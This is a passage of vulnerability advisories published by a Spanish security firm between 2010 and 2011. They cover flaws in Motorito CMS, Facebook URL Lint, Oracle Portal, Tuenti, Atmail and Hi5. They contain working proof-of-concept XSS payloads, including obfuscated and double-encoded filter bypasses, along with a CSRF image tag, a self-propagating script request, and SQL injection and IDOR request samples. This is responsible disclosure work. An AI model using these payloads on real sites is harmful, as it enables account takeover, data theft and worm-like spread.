Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible.
SYSTEMS AFFECTED
Motorito < v2.0 Ni 483
SOLUTION
Upgrade to next version of Motorito. It can be obtained from http://www.motorito.com Current version (at advisory publication 2.0 - Ni 891).
REFERENCES
http://www.motorito.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Mario Diaz Caldera (mdiaz (at) isecauditors (dot) com).
REVISION HISTORY
March 30, 2010: Initial release.
DISCLOSURE TIMELINE
February 22, 2010: Discovered by Internet Security Auditors.
June 14, 2010: Send to the Vendor. Responsae about revision and inclusion in Project Plan.
September 23, 2010: Request for update. Response about correction.
September 23, 2010: Sent to public lists
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2010-006: Facebook Abuse of Functionality of Lint for anonymous port scan and DoS attacks
Original release date: June 21st, 2010
Last revised: March 20th, 2013
Discovered by: Angel Puigventos Gracia
Severity:5.0/10 (CVSS Base Scored)
BACKGROUND
The application Facebook URL Lint allows HTTP connections to capture and interpret Web data. These requests are sent from Facebook's servers and does not require prior authentication.
DESCRIPTION
By specifying the destination port of the HTTP Web server connections and a evaluation of the response can be performed for any request.
In cases when the port is open, the response given by the application is "Bad Protocol" but when the port does not respond, the response is "Internal Error".
It is also possible to make an abuse of requests to perform DOS attacks anonymously.
PROOF OF CONCEPT
Just make GET requests to the application as follows:
BUSINESS IMPACT
Port scanning and DoS from Facebook infrastructure spoofing its IP addresses.
SYSTEMS AFFECTED
Other Facebook applications that perform HTTP queries using Facebook API can be affected by this abuse.
SOLUTION
Require the use of an authenticated user.
Require the use of captchas.
Restrict the use of querys based on the registration date and the use of the user account.
Unify the error messages or not show them.
REFERENCES
http://www.facebook.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Angel Puigventos Gracia (apuigventos (at) isecauditors (dot) com).
REVISION HISTORY
June 21, 2010: Initial release.
June 26, 2010: Final release.
DISCLOSURE TIMELINE
June 21, 2010: Discovered by Internet Security Auditors
June 21, 2010: Facebook Security Team contacted.
June 23, 2010: Facebook answers they cannot replay exploit.
June 26, 2010: Verification that changes make the exploit changed.
Confirmed to Facebook we cannot send them details due those changes.
March 20, 2013: Published for educational pourposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2010-007: XSS in Oracle Portal Database Access Descriptor
Original release date: August 11th, 2010
Last revised: May 1st, 2011
Discovered by: Vicente Aguilera Diaz
Severity: 5.0/10 (CVSS Base Score)
BACKGROUND
Oracle AS Portal is a Web-based application for building and deploying portals. It provides a secure, manageable environment for accessing and interacting with enterprise software services and information resources.
DESCRIPTION
Has been detected a reflected XSS vulnerability in Oracle Application Server, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser.
The code injection is done through the DAD name. A DAD (Database Access Descriptor) is a set of values that specifies how a database server should fulfill a HTTP request.
PROOF OF CONCEPT
Original Request
http://<oracle-application-server>/portal/pls/<DAD>
Malicious Request
http://<oracle-application-server>/portal/pls/<XSS injection>
Example 1
http://<oracle-application-server>/portal/pls/"<H1>XSS vulnerability<H1>
In this scenario, the attacker has the difficulty of being unable to close the HTML tag because he's can not add the character "/" as part of the code injection (DAD name). However, it is possible to generate that character without appearing in the injection. Below is an example.
Example 2
http://<oracle-application-server>/portal/pls/"<img src="" onmouseover=
"document.body.innerHTML=String.fromCharCode
(60,72,84,77,76,62,60,72,49,62,88,83,83,60,47,72,49,62,32,60,72,50,62,86,85,76,78,60,47,72,50,62);"<XSS
BUSINESS IMPACT
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc.
SYSTEMS AFFECTED
Tested in Oracle Application Server Portal (Oracle AS Portal) 10g, version 10.1.2. Other versions may be affected too.
SOLUTION
Install last CPU (Critical Patch Update).
REFERENCES
http://www.oracle.com
https://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
August 11, 2010: Initial release.
May 01, 2011: Final revision
DISCLOSURE TIMELINE
August 11, 2010: Discovered by Internet Security Auditors.
August 11, 2010: Oracle contacted including PoC.
August 12, 2010: Oracle inform that will investigate the vulnerability.
April 19, 2011: Oracle fixed the vulnerability in the CPU (Critical Patch Update).
May 01, 2011: Sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
Volver al inicio
2010-008: Insecure Direct Object Reference in tuenti.com allow to read of any message user
Original release date: August 30th, 2010
Last revised: August 30th, 2010
Discovered by: Vicente Aguilera Diaz
Severity: 4/10 (CVSS Base Scored)
BACKGROUND
Tuenti.com is a private social platform, which is accessed by invitation only. Every day millions of people use it to communicate with each other and share information.
DESCRIPTION
Has been detected a insecure direct object reference vulnerability in Tuenti.com, that allows the reading of any blog entry of any user, thus accessing to private messages of Tuenti.com users.
The "blog_entry_id" parameter directly refer to a blog entry, so if a user change the value of this parameter can access to arbitrary blog entries.
PROOF OF CONCEPT
Original Request
POST
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none
HTTP/1.1
Host: wwwb21.tuenti.com
...
blog_entry_id=<blog_entry_id>&csfr=<token>
where:
- <user_id> = id of the authenticated user
- <blog_entry_id> = id of the blog entry requested by the authenticated user
- <token> = an arbitrary value, to protect against csrf attacks
Malicious Request
POST
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none
HTTP/1.1
Host: wwwb21.tuenti.com
...
blog_entry_id=<another_blog_entry_id>&csfr=<token>
where:
- <user_id> = id of the authenticated user
- <another_blog_entry_id> = id of an arbitrary blog entry, posted by any tuenti user
- <token> = an arbitrary value, to protect against csrf attacks
BUSINESS IMPACT
An attacker can read arbitrary blog entries of any tuenti.com user. This can leverage to access private/sensitive information of tuenti.com users.
SYSTEMS AFFECTED
Tuenti.com Social network.
SOLUTION
Tuenti already corrected this issue.
REFERENCES
http://www.tuenti.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
August 30, 2010: Initial release.
September 12, 2010: Last revision.
DISCLOSURE TIMELINE
August 21, 2010: Discovered by Internet Security Auditors
August 31, 2010: Tuenti first contact. No response.
September 2, 2010: Second contact trough other social network.Response from Sec. Team.
September 3, 2010: Advisory sent to Sec. Team.
September 8, 2010: Tuenti confirm the issue was identified due our tests and corrected immediately.
September 21, 2010: Published for education purposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
Volver al inicio
2010-009: Reflected XSS in the login process of the Atmail WebMail < v6.1.9
Original release date: August 30th, 2010
Last revised: September 21st, 2010
Discovered by: Vicente Aguilera Diaz
Severity: 4.3/10 (CVSS Base Scored)
BACKGROUND
Atmail allows users to access IMAP Mailboxes of any server of your choice. The software provides a comprehensive email-suite for accessing user mailboxes, and provides an inbuilt Calendar and Addressbook features. The WebMail Client of Atmail supports any existing IMAP server running under Unix/Linux or Windows systems.
DESCRIPTION
Has been detected a reflected XSS vulnerability in the login process of the Atmail WebMail, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser.
The code injection is done through the "MailType" parameter, and can be exploited without a user account in the WebMail.
Moreover, the login request may be made by the HTTP GET method (by default, HTTP POST method is used), so this facilitates the exploitation of the vulnerability.
PROOF OF CONCEPT
Original Request
POST /index.php/mail/auth/processlogin HTTP/1.1
Host: <atmail_host>
... emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>
&password=<password>&requestedServer=&MailType=IMAP
Malicious Request - Example 1:
POST /index.php/mail/auth/processlogin HTTP/1.1
Host: <atmail_host>
... emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>
&password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>
Malicious Request - Example 2:
GET
/index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&
email=<email>&password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script >
HTTP/1.1
BUSINESS IMPACT
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc.
SYSTEMS AFFECTED
Tested in Atmail 6.1.9. Other versions may be affected too.
SOLUTION
Upgrade to version 6.2.0
REFERENCES
http://www.atmail.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
August 30, 2010: Initial release
September 21, 2010: Last revision
DISCLOSURE TIMELINE
August 30, 2010: Discovered by Internet Security Auditors
August 31, 2010: Atmail contacted including PoC.Response about the scheduled correction.
September 2, 2010: Published version 6.2.0 that includes this patch.
September 21, 2010: Advisory sent to public lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
Volver al inicio
2010-010: Uninitialized variables allow to access the Motorito CMS administration panel.
Original release date: November 3rd, 2010
Last revised: March 20th, 2013
Discovered by: Vicente Aguilera Diaz
Severity: 8/10 (CVSSv2 Base Scored)
BACKGROUND
Motorito is an on-line marketing tool. It is used to manage the contents of Web Site, create new content, decide which news to put on the cover, update product catalog, manage the areas of promotion, manage users, edit the menu items, layout, send e-mails, etc.
DESCRIPTION
The Motorito CMS does not initialize some variables used. This fact, coupled with a deficient web server configuration (which had enabled the directive "register_globals = on" in the php.ini configuration file) allows a malicious user to compromise the web application and even the server itself.
Thus, a malicious user can introduce as part of the GET or POST normal request, new variables to the request to be adopted by the web application allowing the user to control the flow of the application.
Exploitation of this vulnerability allows access to the administration panel of the CMS with the risk involved.
PROOF OF CONCEPT
=== Example 1: Allow to access in administrator mode
Original request:
Malicious request:
=== Example 2: Allow to access in administrator mode to different modules
Original request:
Malicious request:
=== Example 3: Allow to exploit a SQL Injection vulnerability
Original request:
Malicious request:
Response:
... Database error: Invalid SQL: SELECT iduser FROM sis_users WHERE user='test' AND active=1 AND idlocal=1 and 1 in (select 1 from xxx) AND isadmin=1 MySQL Error: 1146 (Table 'database.xxx' doesn't exist) Session halted. ...BUSINESS IMPACT
An attacker can access to the administration panel in authenticated mode, compromising the web application or ever, the server itself.
SYSTEMS AFFECTED
Tested in Motorito 2.0. Other versions may be affected too.
SOLUTION
-
REFERENCES
http://www.motorito.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
November 3, 2010: Initial release
November 17, 2010: Final release
DISCLOSURE TIMELINE
November 3, 2010: Discovered by Internet Security Auditors.
November 11, 2010: Sent to vendor.
November 17, 2011: Vendor notifies its proper correction.
March 20, 2013: Published for educational pourposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2010-011: Multiple vulnerabilities in Hi5.com social network.
Original release date:October 29th 2010
Last revised:May 1st, 2011
Discovered by: Eduardo Garcia Melia
Severity: 7.8/10 (CVSS Base Scored)
BACKGROUND
Hi5 is a social network website (www.hi5.com). The company was founded in 2003 by Ramu Yalamanchi. Hi5 has 80 million registered users.
DESCRIPTION
This social network has the next vulnerabilities:
The application allows realizing the POST requests by means of the GET method.
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping.
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat or simply visiting the attacker profile ), an attacker may force the users of a web application to execute actions of the attacker's choosing.
In some places of the application, no token anti-xsrf is used. In other places, use as filter anti-xsrf the session value and the timestamp. The tokens anti-xsrf are not sufficient, because the persistent XSS vulnerability allows to execute Javascript code.
A URL Redirection Attack is a kind of vulnerability that redirects you to another page freely out of the original website when accessed, usually integrated with a phishing attack.
While you not logout of the application, the session never expires.
Transmission of sensitive information without ciphered channel (HTTP protocol), allows that an attacker who has access to this traffic, capture the sensitive information that could be transmitted, as for example, the user and password or session.
PROOF OF CONCEPT
With this request, auto-accept all comments on his profile automatically (this makes it possible to perform CSRF attacks more easy). Example:
In this case, you can bypass the XSS Filter for inject HTML/JavaScript code in the application both through comments in the profile as through internal mail messages, etc. The application accepts html tags such as <h1>, although many of the dangerous tags are filtered (not true with <img>. To bypass the XSS Filter and inject HTML/JavaScript code, we just has double encoding:
<script>alert('XSS')</script>
And double encoding:
<script>alert('
XSS')</script>
%26%23x3c%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26
%23x74%3B%26%23x3e%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23
x74%3B%26%23x28%3B%26%23x27%3B%26%23x58%3B%26%23x53%3B%26%23x53%3B%26%23x27
%3B%26%23x29%3B%26%23x3c%3B%26%23x2f%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B
%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x3e%3B
Using double encoding is it possible to be bypass XSS filters.
Example:
POST /friend/profile/signBook.do HTTP/1.1
Host: hi5.com
userId=XXXXXX&userid=XXXXXXX×tamp=-7099815752887097952&js=022EE4CA9DBE77D9D18EF5B8E43F9C71
&image=&body=%26%23x3c%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70
%3B%26%23x74%3B%26%23x3e%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B
%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x58%3B%26%23x53%3B%26%23x53%3B%26
%23x27%3B%26%23x29%3B%26%23x3c%3B%26%23x2f%3B%26%23x73%3B%26
%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x3e%3B
This POST request, shows the typical popup with the "XSS" message, but can be developed for serious attacks like Rainbow worm or other worms in already used in social networks.
There are requests in the application using anti-XSRF tokens, but others do not and have been identified and exploited.
When the application do not have any token anti-xsrf, to perform this attack, the attacker would simply edit her profile, and in the interests tab, in any field put:
<img src="/friend/book/updateAutoAcceptSettings.do?autoAccept=0"/>.
Example:
POST /friend/profile/editPersonal.do HTTP/1.1
Host: hi5.com
timestamp=-5798286480324775860userId=XXXXXXX&interests=<img src="/friend/book/updateAutoAcceptSettings.do?autoAccept=0"/>
&origAllTimeFavoriteArtists=&allTimeFavoriteArtists=&favoriteMovies=&favoriteTVShows=&favoriteBooks=&favoriteQuote=
This attack could also be exploited through parameter "interests" or any other.
With this example, a person who visited the attacker's profile, auto-accept all comments on his profile automatically.
On the other hand, when the applications use as token anti-xsrf the session and the timestamp, that attacker can use the persistent XSS vulnerability for injecting javascript code, that puts the session value in "js" parameter, and the timestamp value in "timestamp" parameter. For example, the normal POST request for add any friend:
POST /friend/addFriendAjax.do HTTP/1.1
Host: hi5.com
Cookie: esn=FybWQ9s5gu1naTVi6IA0TG2vEbM.;
JSESSIONID=CCE9B8BAED8F1A7A0FA50BF4D39A2238;
hi5sp=homepage;
tzoffset=2; userIdLogin=hi5tok;
timestamp=5718257949255914042&js=CCE9B8BAED8F1A7A0FA50BF4D39A2238&requestSource=SEARCH&userid=XXXXXX&userId=
Through GET/POST vulnerability is it possible to transform into GET request:
GET
/friend/addFriendAjax.do?timestamp=5718257949255914042&js=CCE9B8BAED8F1A7A0FA50BF4D39A2238&requestSource=SEARCH
&userid=XXXXXX&userId=
HTTP/1.1
Host: hi5.com
Cookie: esn=FybWQ9s5gu1naTVi6IA0TG2vEbM.;
JSESSIONID=CCE9B8BAED8F1A7A0FA50BF4D39A2238;
Finally, with persistent XSS vulnerability, the attacker can inject javascript code for automation this request (OR ANY OTHER) with something like this:
<script>
if (true) {
window.location.href = "/friend/addFriendAjax.do?timestamp=" +
url.replace("TIMESTAMP", new Date().getTime()) + "&js=" +
HI5.Data.sessionId() + '&requestSource=SEARCH&userid=XXXXXX&userId=';
}
<script>
The application allows redirect the browser to any Internet address. The goal of this attack could be make the victim feel that is correctly accesing to a resource valid resource, when in fact, is being redirected to fake man in the middle site for credential capture. Following, and example redirecting Google.com website:
http://hi5.com/friend/tyTrack.do?cid=42624&id=1&e=&d=http://www.google.com
The session on hi5 social network never expires. While you do not logout, the session remain active:
+ Set-Cookie: hi5loggedIn=true; Expires=Thu, 01-Jan-1970 00:00:10GMT; Path=/
For example, the transmission of user and password in the authentication process.
POST /friend/book/updateAutoAcceptSettings.do HTTP/1.1
Host: hi5.com
AutoAccept=0
GET /friend/book/updateAutoAcceptSettings.do?autoAccept=0 HTTP/1.1
Host: hi5.com
BUSINESS IMPACT
These vulnerabilities allowed javascript to be run, opening a lot of possibilities to users with malicious intentions, for example, took over Hi5 social networks, infecting millions of users. One of them, is make all hi5 profiles visible (or any action):
These two steps are repeated in every victim's profile and grow exponentially as users visit the victim's profile.
SYSTEMS AFFECTED
Hi5.com social network.
SOLUTION
--
REFERENCES
http://www.hi5.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
REVISION HISTORY
October 29, 2010: First results
January 02, 2011: Initial release
May 01, 2011: Last revision
DISCLOSURE TIMELINE
October 29, 2010: Vulnerability discovered by Internet Security Auditors
January 10, 2011: First attempts for contacting hi5 networks
January 12, 2011: Received response and advisory sent to vendor.
February 15, 2011: Contact for update -> under correction.
March 04, 2011: Contact for update -> Still correcting.
May 01, 2011: Published after some contacts without answer.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
Volver al inicio